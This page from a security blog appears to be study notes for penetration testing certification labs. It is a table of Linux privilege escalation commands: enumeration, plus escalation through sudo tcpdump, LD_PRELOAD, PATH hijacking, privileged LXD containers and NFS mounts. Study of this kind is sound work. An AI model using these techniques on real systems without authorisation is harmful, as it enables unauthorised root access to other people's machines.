🐳
Swayam's Blog
LinkedinGithub
  • 🫚root@Swayam's Blog
  • 🕺About Me
  • 🛠️Projects
    • CurveLock
    • ShadowChain
  • 🐞Malware Analysis
    • Basic Malware Analysis
      • LAB Network Setup
      • Basic Static Analysis
      • Basic Dynamic Analysis
      • Advanced Dynamic Analysis
      • Advanced Static Analysis
      • Identifying Anti analysis techniques
      • Binary Patching
      • Shellcode Analysis
      • Malware.unknown.exe.Malz
      • Challenge-Sillyputty
      • Bind_shell RAT Analysis
      • Malicious Powershell Script
      • Malicious HTA(HTML Applications)
      • Phishing Excel Embedded Malware
      • Reversing Csharp And DotNET Framework
      • YARA rules
      • Automating Malware Analysis
    • MASM 64 Bit Assembly
      • Hello World Of Assembly Language
      • Computer Data Representation and Operations
      • Memory Access And Organization
      • Constants, Variables And Data Types
      • Procedures
  • 👨‍💻Malware/Exploit Development
    • Driver Development
      • Driver 101
      • Kernel Calbacks
      • Process Protection
      • Process Token Privilege
  • 📖Notes And Cheatsheets
    • OSCP / Application Security
      • OS stuff
        • Footprinting
        • Nmap
        • Shells
        • Metasploit
        • Windows Buffer Overflow
        • Windows
        • Windows Privilege Escalation
        • Linux Commands
        • Linux Privilege Escalation
        • Password Cracking
        • Pivoting And Tunneling
        • Macos
      • General Introduction
        • Basic Tools
        • Basic Networking
      • WebApps
        • Attacking Common Applications
        • Attacking Common Services
        • Broken Authentication
        • Burp Proxy
        • Common Apps
        • Command Injection
        • ffuf Fuzzing
        • File Inclusion
        • File Transfer
        • File Upload
        • Javascript Deobfuscation
        • Password Attacks
        • SQLi
        • Web attacks
        • Web Information Gathering
        • Wordpress
        • Brute Forcing
        • HTTP Curl
      • Active Directory
    • Wireless Attacks
    • Red Teaming
    • BloodHound
    • Pentesting
    • ADCS
  • 🚩CTFs
    • Google CTF
Powered by GitBook
On this page
  1. Notes And Cheatsheets
  2. OSCP / Application Security
  3. OS stuff

Linux Privilege Escalation

Command

Description

ssh htb-student@<target IP>

SSH to lab target

ps aux | grep root

See processes running as root

ps au

See logged in users

ls /home

View user home directories

ls -l ~/.ssh

Check for SSH keys for current user

history

Check the current user's Bash history

sudo -l

Can the user run anything as another user?

ls -la /etc/cron.daily

Check for daily Cron jobs

lsblk

Check for unmounted file systems/drives

find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null

Find world-writeable directories

find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null

Find world-writeable files

uname -a

Check the Kernel versiion

cat /etc/lsb-release

Check the OS version

gcc kernel_expoit.c -o kernel_expoit

Compile an exploit written in C

screen -v

Check the installed version of Screen

./pspy64 -pf -i 1000

View running processes with pspy

find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null

Find binaries with the SUID bit set

find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null

Find binaries with the SETGID bit set

sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

Priv esc with tcpdump

echo $PATH

Check the current user's PATH variable contents

PATH=.:${PATH}

Add a . to the beginning of the current user's PATH

find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null

Search for config files

ldd /bin/ls

View the shared objects required by a binary

sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart

Escalate privileges using LD_PRELOAD

readelf -d payroll | grep PATH

Check the RUNPATH of a binary

gcc src.c -fPIC -shared -o /development/libshared.so

Compiled a shared libary

lxd init

Start the LXD initialization process

lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine

Import a local image

lxc init alpine r00t -c security.privileged=true

Start a privileged LXD container

lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true

Mount the host file system in a container

lxc start r00t

Start the container

showmount -e 10.129.2.12

Show the NFS export list

sudo mount -t nfs 10.129.2.12:/tmp /mnt

Mount an NFS share locally

tmux -S /shareds new -s debugsess

Created a shared tmux session socket

./lynis audit system

Perform a system audit with Lynis

PreviousLinux CommandsNextPassword Cracking
📖